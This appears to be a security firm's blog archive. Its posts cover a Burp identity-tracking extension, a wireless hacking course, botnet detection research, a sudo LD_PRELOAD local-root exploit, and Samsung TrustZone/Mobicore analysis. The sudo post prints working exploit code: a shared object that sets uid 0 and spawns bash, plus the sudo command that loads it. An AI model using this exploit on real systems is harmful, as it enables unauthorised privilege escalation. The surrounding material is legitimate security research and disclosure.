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Thu, 5 Jun 2014

Associating an identity with HTTP requests - a Burp extension

This is a tool that I have wanted to build for at least 5 years. Checking my archives, the earliest reference I can find is almost exactly 5 years ago, and I've been thinking about it for longer, I'm sure.

Finally it has made it out of my head, and into the real world!

Be free! Be free!

So, what does it do, and how does it do it?

The core idea for this tool comes from the realisation that, when reviewing how web applications work, it would help immensely to be able to know which user was actually making specific requests, rather than trying to just keep track of that information in your head (or not at all). Once you have an identity associated with a request, that enables more powerful analysis of the requests which have been made.

In particular, it allows the analyst to compare requests made by one user, to requests made by another user, even as those users log in and log out.

There are various ways in which users can be authenticated to web applications, and this extension doesn't try to handle them all, not just yet, anyway. It does handle the most common case, though, which is forms-based auth, with cookie-based session identifiers.

So, as a first step, it allows you to identify the "log in" action, extract the name of the user that is authenticating, and associate that identity with the session ID until it sees a "log out" action. Which is pretty useful in and of itself, I think. Who hasn't asked themselves, while reviewing a proxy history: "Now which user was I logged in as, when I made this request?" Or: "Where is that request that I made while logged in as 'admin'?"

Associating an identity with the requests

So, how does it do this? Unfortunately, the plugin doesn't have AI, or a vast database of applications all captured for you, with details of how to identify logins and logouts. But it does have the ability to define a set of rules, so you can tell it how your app behaves. These rules can be reviewed and edited in the "Options" tab of the Identity extension.

What sort of rules do we need? Well, to start with, what constitutes a valid logon? Typically, that may include something like "A POST to a specified URL, that gets a 200 response without the text 'login failed' in it". And we need to know which form field contains the username. Oh, and the sessionid in use by the application, so that the next time we see a sessionid with the same value, we can link that same identity to that conversation as well.

The easiest way to create the login rule is probably via the Http Proxy History tab. Just right click on a valid login request, and choose "Identity -> create login rule". It will automatically create a rule that matches the request method, request path, and the response status. Of course, you can customise it as you see fit, adding simple rules (just one condition), or complex rules (this AND that, this OR that), nested to arbitrary levels of complexity. And you can select the session id parameter name, and login parameter name on the Options tab as well.

Awesome! But how do we identify when the user logs out? Well, we need a rule for that as well, obviously. This can often be a lot simpler to identify. An easy technique is just to look for the text of the login form! If it is being displayed, you're very unlikely to be logged in, right? That can also catch the cases where a session gets timed out, but for the moment, we have separate rules and states for "logged out" and "timed out". That may not be strictly necessary, though. Again, these rules can be viewed and edited in the Options tab. Another easy way to create the logout rule is to select the relevant text in the response, right-click, and choose "Identity -> create logout rule".

Sweet! So now we can track a series of conversations from an anonymous user, through the login process, through the actions performed by the person who was logged in, through to the end of that session, whether by active logout, or by inactivity, and session timeout, back to an anonymous user.

Most interestingly, though, by putting the conversations into a "spreadsheet", and allowing you to create a pivot table of selected parameters vs the identity of the person making the request, it becomes possible to almost automate the testing of access control rules.

This tool is not quite at the "automated" stage yet, but it does currently allow you to see which user has performed which actions, on which subject, which makes it almost trivial to see what each user is able to do, and then formulate tests for the other users. You can also see which tests you have executed, as the various cells in the pivot table start filling up.

Pivoting requests against the user

In this screenshot, we are pivoting on the path of the URL, the method (GET vs POST), and then a bunch of parameters. In this application (WordPress, just for demonstration purposes), we want the "action" parameter, as well as the parameter identifying the blog post being operated on. The "action" parameter can appear in the URL, or in the Body of the request, and the "post" parameter in the URL identifies the blog post, but it is called post_ID in the body. (It might be handy to be able to link different parameters that mean the same thing, for future development!). The resulting table creates rows for each unique parameter combination, exactly as one would expect in an Excel pivot table.

Clicking on each cell allows you to get a list of all the conversations made by that userid, with the specific combination of parameters and values, regardless of the number of times that they had logged in and out, or how many times their session id changed. Clicking on each conversation in the list brings up the conversation details in the request/response windows at the bottom, so you can check the minutiae, and if desired, right-click and send them to the repeater for replay.

So far, the approach has been to manually copy and paste the session cookie for a different user into the repeater window before replaying the request, but this is definitely something that lends itself to automation. A future development will have an option to select "current" session tokens for identified users, and substitute those in the request before replaying it.

So far, so good! But, since the point of this extension is to check access controls, we'd ideally like to be able to say whether the replayed request was successful or not, right? There's a rule for that! Or there could be, if you defined them! By defining rules that identify "successful" requests vs "failed" requests, conversations can be tagged as successful or not, making it easier to see when reviewing lists of several conversations. Future development is intended to bring that data "up" into the pivot table too, possibly by means of colouring the cells based on the status of the conversations that match. That could end up showing a coloured matrix of successful requests for authorised users, and unsuccessful requests for unauthorised users, which, ultimately, is exactly what we want.

We'd love to hear how you get on with using this, or if you have any feature requests for the plugin. For now, the BurpId plugin is available here.

Fri, 9 May 2014

Wireless Bootcamp Training - Las Vegas

Get some.

Wireless hacking, you say?
You may think wireless hacking is nothing new, and you may think it's just not that relevant or exciting. Come along to our BlackHat Wireless Bootcamp course and we'll show you different! We'll teach you the fundamentals every wireless hacker needs to know, but then move onto the really exciting, cutting edge stuff.

Cutting edge WiFi hacking, you say?
At SensePost we really enjoy wireless hacking - mostly because it gets us good results in terms of compromising our targets! With our years of experience in this area we've written our own tools, as well as refined others. In this course we'll reveal new techniques and tools (can you smell 0day?) that we'll hopefully be presenting at the conference, and give you exclusive hands on training with our very own Snoopy framework (a distributed, tracking, data interception, and profiling framework). Two lucky students who capture our CTFs will also go home with pre-built Snoopy drone. Every student will also get their own Alfa WiFi card to take home, as well as the latest Snoopy pre-release (Snoopy will run fine on your laptop too).

Snoopy Drone

What else?
Here's an exact break down of what to expect from this course:
• Wi-Fi theory and background
• Breaking WEP
• Breaking WPA PSK
• Man in the middle attacks for WPA MGT (new attack vectors)
• Breaking WPS
• Wi-Fi Router back doors
• Rogue Access Points attack scenarios (new attack vectors)
• Exclusive Snoopy training

Who should attend?
Anyone interested in WiFi security. The course is relevant for both attackers and defenders (it'll let you put your defense into context). Students should have some technical ability in Linux, and understand networking fundamentals, but this is a bootcamp level course.

Dominic (@singe) and Glenn (@glennzw) will be your instructors. They're both avid wireless hackers, and never leave home without a high gain antenna and an Alfa card! They're looking forward to training you. You can find the sign-up page here.

-Glenn & Dominic

Wed, 8 Jan 2014

Botconf 2013

Botconf'13, the "First botnet fighting conference" took place in Nantes, France from 5-6 December 2013. Botconf aimed to bring together the anti-botnet community, including law enforcement, ISPs and researchers. To this end the conference was a huge success, especially since a lot of networking occurred over the lunch and tea breaks as well as the numerous social events organised by Botconf.

I was fortunate enough to attend as a speaker and to present a small part of my Masters research. The talk focused the use of Spatial Statistics to detect Fast-Flux botnet Command and Control (C2) domains based on the geographic location of the C2 servers. This research aimed to find novel techniques that would allow for accurate and lightweight classifiers to detect Fast-Flux domains. Using DNS query responses it was possible to identify Fast-Flux domains based on values such as the TTL, number of A records and different ASNs. In an attempt to increase the accuracy of this classifier, additional analysis was performed and it was observed that Fast-Flux domains tended to have numerous C2 servers widely dispersed geographically. Through the use of the statistical methods employed in plant and animal dispersion statistics, namely Moran's I and Geary's C, new classifiers were created. It was shown that these classifiers could detect Fast-Flux domains with up to a 97% accuracy, maintaining a False Positive rate of only 3.25% and a True Positive rate of 99%. Furthermore, it was shown that the use of these classifiers would not significantly impact current network performance and would not require changes to current network architecture.

The paper for the talk is available here: Paper.pdf
The presentation is available here: Presentation.pdf
I'll update this post with a link to the presentation video once it is available.

The scripts used to conduct the research are available on github and are in the process of being updated (being made human readable):

The following blogs provide a comprehensive round-up of the conference including summaries of the talks:

Wed, 28 Aug 2013

Something about sudo, Kingcope and re-inventing the wheel

Willems and I are currently on an internal assessment and have popped a couple hundred (thousand?) RHEL machines, which was trivial since they are all imaged. Anyhoo - long story short, we have a user which is allowed to make use of sudo for a few commands, such as reboot and service. I immediately thought it would be nice to turn this into a local root somehow. Service seemed promising and I had a looksy how it works. Whilst it does do sanitation of the library path it does not remove LD_PRELOAD. So if we could sneak LD_PRELOAD past sudo then all should be good ?

For lack of deeper understanding I googled around the issue and came across which is a vanilla LD_PRELOAD example overiding glib's fopen() call. That sort of suited me well since I reckoned starting services will prolly read config files.

So after a little fiddling I came up with the following creature:

/* gcc -Wall -fPIC -shared -o myfopen.c */
/* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

FILE *fopen(const char *path, const char *mode) {
printf("MAKE ME A SANDWICH\n");
if (access("/tmp/sandwich", F_OK) != -1)
//printf("fake fopen: not active \n");
return NULL;

which could be invoked via

touch /tmp/sandwich
sudo LD_PRELOAD=/home/george/Desktop/playground/ld_preload/ /etc/init.d/ssh restart

Best thing was it sort of worked! Ugly but functioning...
While trying to work out the finer details, however, I came across a sploit Kingcope had written in 2008, which exploited exactly this issue! Apparently older sudos did not "Defaults env_reset" or "Defaults setenv" which makes the LD_PRELOAD possible. (This still applies to [mis]configurations which preserve the environment)
As always with Kingcope sploits it is very elegant and definitely worth a look.

On a side note: the header of his sploit says:

#* Sudo <= 1.6.9p18 local r00t exploit
#* by Kingcope/2008/
# Most lame exploit EVER!
# Needs a special configuration in the sudoers file:
# --->>>>> "Defaults setenv" so environ vars are preserved :) <<<<<---
# May also need the current users password to be typed in
# So this exploit is UBERLAME!
# First Argument to this shell file: A program your current
# user is allowed to execute via sudo. sudo has to be in
# the path!!
# successfully tested on FreeBSD-7.0 and RedHat Linux
# I don't even know why I realease such stuffz

so Kingcope considered the vuln UEBERLAME ... I don't know if I should be proud or sad for having found it five years later then....
Anyhoo, at this point I was already pretty invested in the thing and decided to see the re-invention of the wheel through. Kingcope's shared object was a lot slicker than mine, hooking into _init() rather than fopen() which makes it a lot more generic and elegant. He used unsetenv(LD_PRELOAD) to execute but once which is also a lot more elegant.

So I shamelessly stole from his sploit... I don't see the need for a suid shell stager and fancy execls when a simple system() does the job, but I am prolly missing several points =) So without further waffle here it is - its called sandwhich sploit as an homage to the classic XKCD sudo comic.

1 #!/bin/bash
2 #
3 # old/misconfigured sudo local root
4 #
5 # disclosed by Kingcope in 2008
6 #
7 #
8 # "re-discovered" in 2013 by
9 #
10 #
13 echo
14 echo "[!] $0 - sudo un-sanitised environment sploit"
15 echo "[!] usage: $0 <program to run via sudo> "
16 echo
19 cat > /tmp/sandwich.c << _EOF
20 #include <stdio.h>
21 #include <stdlib.h>
22 #include <unistd.h>
23 #include <sys/types.h>
25 void _init()
26 {
27 if (!geteuid())
28 {
29 unsetenv("LD_PRELOAD");
30 setgid(0);
31 setuid(0);
32 unlink("/tmp/");
33 unlink("/tmp/sandwich.c");
34 system("/bin/bash");
35 }
36 }
38 _EOF
41 gcc -fPIC -shared -o /tmp/ /tmp/sandwich.c -nostartfiles
42 sudo LD_PRELOAD=/tmp/ $1

Thu, 6 Jun 2013

A software level analysis of TrustZone OS and Trustlets in Samsung Galaxy Phone


New types of mobile applications based on Trusted Execution Environments (TEE) and most notably ARM TrustZone micro-kernels are emerging which require new types of security assessment tools and techniques. In this blog post we review an example TrustZone application on a Galaxy S3 phone and demonstrate how to capture communication between the Android application and TrustZone OS using an instrumented version of the Mobicore Android library. We also present a security issue in the Mobicore kernel driver that could allow unauthorised communication between low privileged Android processes and Mobicore enabled kernel drivers such as an IPSEC driver.

Mobicore OS :

The Samsung Galaxy S III was the first mobile phone that utilized ARM TrustZone feature to host and run a secure micro-kernel on the application processor. This kernel named Mobicore is isolated from the handset's Android operating system in the CPU design level. Mobicore is a micro-kernel developed by Giesecke & Devrient GmbH (G&D) which uses TrustZone security extension of ARM processors to create a secure program execution and data storage environment which sits next to the rich operating system (Android, Windows , iOS) of the Mobile phone or tablet. The following figure published by G&D demonstrates Mobicore's architecture :

Overview of Mobicore (courtesy of G&D)

A TrustZone enabled processor provides "Hardware level Isolation" of the above "Normal World" (NWd) and "Secure World" (SWd) , meaning that the "Secure World" OS (Mobicore) and programs running on top of it are immune against software attacks from the "Normal World" as well as wide range of hardware attacks on the chip. This forms a "trusted execution environment" (TEE) for security critical application such as digital wallets, electronic IDs, Digital Rights Management and etc. The non-critical part of those applications such as the user interface can run in the "Normal World" operating system while the critical code, private encryption keys and sensitive I/O operations such as "PIN code entry by user" are handled by the "Secure World". By doing so, the application and its sensitive data would be protected against unauthorized access even if the "Normal World" operating system was fully compromised by the attacker, as he wouldn't be able to gain access to the critical part of the application which is running in the secure world.

Mobicore API:

The security critical applications that run inside Mobicore OS are referred to as trustlets and are developed by third-parties such as banks and content providers. The trustlet software development kit includes library files to develop, test and deploy trustlets as well as Android applications that communicate with relevant trustlets via Mobicore API for Android. Trustlets need to be encrypted, digitally signed and then remotely provisioned by G&D on the target mobile phone(s). Mobicore API for Android consists of the following 3 components:

1) Mobicore client library located at /system/lib/ This is the library file used by Android OS or Dalvik applications to establish communication sessions with trustlets on the secure world

2) Mobicore Daemon located at /system/bin/mcDriverDaemon: This service proxies Mobicore commands and responses between NWd and SWd via Mobicore device driver

3) Mobicore device driver: Registers /dev/mobicore device and performs ARM Secure Monitor Calls (SMC) to switch the context from NWd to SWd

The source code for the above components can be downloaded from Google Code. I enabled the verbose debug messages in the kernel driver and recompiled a Samsung S3 kernel image for the purpose of this analysis. Please note that you need to download the relevant kernel source tree and stock ROM for your S3 phone kernel build number which can be found in "Settings->About device". After compiling the new zImage file, you would need to insert it into a custom ROM and flash your phone. To build the custom ROM I used "Android ROM Kitchen 0.217" which has the option to unpack zImage from the stock ROM, replace it with the newly compiled zImage and pack it again.

By studying the source code of the user API library and observing debug messages from the kernel driver, I figured out the following data flow between the android OS and Mobicore to establish a session and communicate with a trustlet:

1) Android application calls mcOpenDevice() API which cause the Mobicore Daemon (/system/bin/mcDriverDaemon) to open a handle to /dev/mobicore misc device.

2) It then allocates a "Worlds share memory" (WSM) buffer by calling mcMallocWsm() that cause the Mobicore kernel driver to allocate wsm buffer with the requested size and map it to the user space application process. This shared memory buffer would later be used by the android application and trustlet to exchange commands and responses.

3) The mcOpenSession() is called with the UUID of the target trustlet (10 bytes value, for instance : ffffffff000000000003 for PlayReady DRM truslet) and allocate wsm address to establish a session with the target trustlet through the allocated shared memory.

4) Android applications have the option to attach additional memory buffers (up to 6 with maximum size of 1MB each) to the established session by calling mcMap() API. In case of PlayReady DRM trustlet which is used by the Samsung VideoHub application, two additional buffers are attached: one for sending and receiving the parameters and the other for receiving trustlet's text output.

5) The application copies the command and parameter types to the WSM along with the parameter values in second allocated buffer and then calls mcNotify() API to notify the Mobicore that a pending command is waiting in the WSM to be dispatched to the target trustlet.

6) The mcWaitNotification() API is called with the timeout value which blocks until a response received from the trustlet. If the response was not an error, the application can read trustlets' returned data, output text and parameter values from WSM and the two additional mapped buffers.

7) At the end of the session the application calls mcUnMap, mcFreeWsm and mcCloseSession .

The Mobicore kernel driver is the only component in the android operating system that interacts directly with Mobicore OS by use of ARM CPU's SMC instruction and Secure Interrupts . The interrupt number registered by Mobicore kernel driver in Samsung S3 phone is 47 that could be different for other phone or tablet boards. The Mobicore OS uses the same interrupt to notify the kernel driver in android OS when it writes back data.

Analysis of a Mobicore session:

There are currently 5 trustlets pre-loaded on the European S3 phones as listed below:

shell@android:/ # ls /data/app/mcRegistry


The 07010000000000000000000000000000.tlbin is the "Content Management" trustlet which is used by G&D to install/update other trustlets on the target phones. The 00060308060501020000000000000000.tlbin and ffffffff000000000000000000000003.tlbin are DRM related truslets developed by Discretix. I chose to analyze PlayReady DRM trustlet (ffffffff000000000000000000000003.tlbin), as it was used by the Samsung videohub application which is pre-loaded on the European S3 phones.

The videohub application dose not directly communicate with PlayReady trustlet. Instead, the Android DRM manager loads several DRM plugins including which is dependent on library that makes Mobicore API calls. Both of these libraries are closed source and I had to perform dynamic analysis to monitor communication between and PlayReady trustlet. For this purpose, I could install API hooks in android DRM manager process (drmserver) and record the parameter values passed to Mobicore user library (/system/lib/ by setting LD_PRELOAD environment variable in the init.rc script and flash my phone with the new ROM. I found this approach unnecessary, as the source code for Mobicore user library was available and I could add simple instrumentation code to it which saves API calls and related world shared memory buffers to a log file. In order to compile such modified Mobicore library, you would need to the place it under the Android source code tree on a 64 bit machine (Android 4.1.1 requires 64 bit machine to compile) with 30 GB disk space. To save you from this trouble, you can download a copy of my Mobicore user library from here. You need to create the empty log file at /data/local/tmp/log and replace this instrumented library with the original file (DO NOT FORGET TO BACKUP THE ORIGINAL FILE). If you reboot the phone, the Mobicore session between Android's DRM server and PlayReady trustlet will be logged into /data/local/tmp/log. A sample of such session log is shown below:

The content and address of the shared world memory and two additional mapped buffers are recorded in the above file. The command/response format in wsm buffer is very similar to APDU communication in smart card applications and this is not a surprise, as G&D has a long history in smart card technology. The next step is to interpret the command/response data, so that we can manipulate them later and observe the trustlet behavior. The trustlet's output in text format together with inspecting the assembly code of helped me to figure out the PlayReady trustlet command and response format as follows:

client command (wsm) : 08022000b420030000000001000000002500000028023000300000000500000000000000000000000000b0720000000000000000

client parameters (mapped buffer 1): 8f248d7e3f97ee551b9d3b0504ae535e45e99593efecd6175e15f7bdfd3f5012e603d6459066cc5c602cf3c9bf0f705b

trustlet response (wsm):08022000b420030000000081000000002500000028023000300000000500000000000000000000000000b0720000000000000000

trustltlet text output (mapped buffer 2):


SRVXInvokeCommand command 1000000 hSession=320b4

SRVXInvokeCommand. command = 0x1000000 nParamTypes=0x25

SERVICE_DRM_BBX_SetKeyToOemContext - pPrdyServiceGlobalContext is 32074

SERVICE_DRM_BBX_SetKeyToOemContext cbKey=48

SERVICE_DRM_BBX_SetKeyToOemContext type=5

SERVICE_DRM_BBX_SetKeyToOemContext iExpectedSize match real size=48

SERVICE_DRM_BBX_SetKeyToOemContext preparing local buffer DxDecryptAsset start - iDatatLen=32, pszInData=0x4ddf4 pszIntegrity=0x4dde4

DxDecryptAsset calling Oem_Aes_SetKey DxDecryptAsset

calling DRM_Aes_CtrProcessData DxDecryptAsset

calling DRM_HMAC_CreateMAC iDatatLen=32 DxDecryptAsset

after calling DRM_HMAC_CreateMAC DxDecryptAsset


calling DRM_BBX_SetKeyToOemContext res=0x0


By mapping the information disclosed in the trustlet text output to the client command the following format was derived:

08022000 : virtual memory address of the text output buffer in the secure world (little endian format of 0x200208)

b4200300 : PlayReady session ID

00000001: Command ID (0x1000000)

00000000: Error code (0x0 = no error, is set by truslet after mcWaitNotification)

25000000: Parameter type (0x25)

28023000: virtual memory address of the parameters buffer in the secure world (little endian format of 0x300228)

30000000: Parameters length in bytes (0x30, encrypted key length)

05000000: encryption key type (0x5)

The trustlet receives client supplied memory addresses as input data which could be manipulated by an attacker. We'll test this attack later. The captured PlayReady session involved 18 command/response pairs that correspond to the following high level diagram of PlayReady DRM algorithm published by G&D. I couldn't find more detailed specification of the PlayReady DRM on the MSDN or other web sites. But at this stage, I was not interested in the implementation details of the PlayReady schema, as I didn't want to attack the DRM itself, but wanted to find any exploitable issue such as a buffer overflow or memory disclosure in the trustlet.

DRM Trustlet diagram (courtesy of G&D)

Security Tests:

I started by auditing the Mobicore daemon and kernel driver source code in order to find issues that can be exploited by an android application to attack other applications or result in code execution in the Android kernel space. I find one issue in the Mobicore kernel API which is designed to provide Mobicore services to other Android kernel components such as an IPSEC driver. The Mobicore driver registers Linux netLink server with id=17 which was intended to be called from the kernel space, however a Linux user space process can create a spoofed message using NETLINK sockets and send it to the Mobicore kernel driver netlink listener which as shown in the following figure did not check the PID of the calling process and as a result, any Android app could call Mobicore APIs with spoofed session IDs. The vulnerable code snippet from MobiCoreKernelApi/main.c is included below.

An attacker would need to know the "sequence number" of an already established netlink connection between a kernel component such as IPSEC and Mobicore driver in order to exploit this vulnerability. This sequence numbers were incremental starting from zero but currently there is no kernel component on the Samsung phone that uses the Mobicore API, thus this issue was not a high risk. We notified the vendor about this issue 6 months ago but haven't received any response regarding the planned fix. The following figures demonstrate exploitation of this issue from an Android unprivileged process :

Netlink message (seq=1) sent to Mobicore kernel driver from a low privileged process

Unauthorised netlink message being processed by the Mobicore kernel driver

In the next phase of my tests, I focused on fuzzing the PlayReady DRM trustlet that mentioned in the previous section by writing simple C programs which were linked with and manipulating the DWORD values such as shared buffer virtual address. The following table summarises the results:
wsm offsetDescriptionResults
0Memory address of the mapped output buffer in trustlet process (original value=0x08022000)for values<0x8022000 the fuzzer crashed

values >0x8022000 no errors

41memory address of the parameter mapped buffer in trusltet process (original value=0x28023000)0x00001000<value<0x28023000 the fuzzer crashed

value>=00001000 trustlet exits with "parameter refers to secure memory area"

value>0x28023000 no errors

49Parameter length (encryption key or certificate file length)For large numbers the trustlet exits with "malloc() failed" message

The fuzzer crash indicated that Mobicore micro-kernel writes memory addresses in the normal world beyond the shared memory buffer which was not a critical security issue, because it means that fuzzer can only attack itself and not other processes. The "parameter refers to secure memory area" message suggests that there is some sort of input validation implemented in the Mobicore OS or DRM trustlet that prevents normal world's access to mapped addresses other than shared buffers. I haven't yet run fuzzing on the parameter values itself such as manipulating PlayReady XML data elements sent from the client to the trustlet. However, there might be vulnerabilities in the PlayReady implementation that can be picked up by smarter fuzzing.


We demonstrated that intercepting and manipulating the worlds share memory (WSM) data can be used to gain better knowledge about the internal workings of Mobicore trustlets. We believe that this method can be combined with the side channel measurements to perform blackbox security assessment of the mobile TEE applications. The context switching and memory sharing between normal and secure world could be subjected to side channel attacks in specific cases and we are focusing our future research on this area.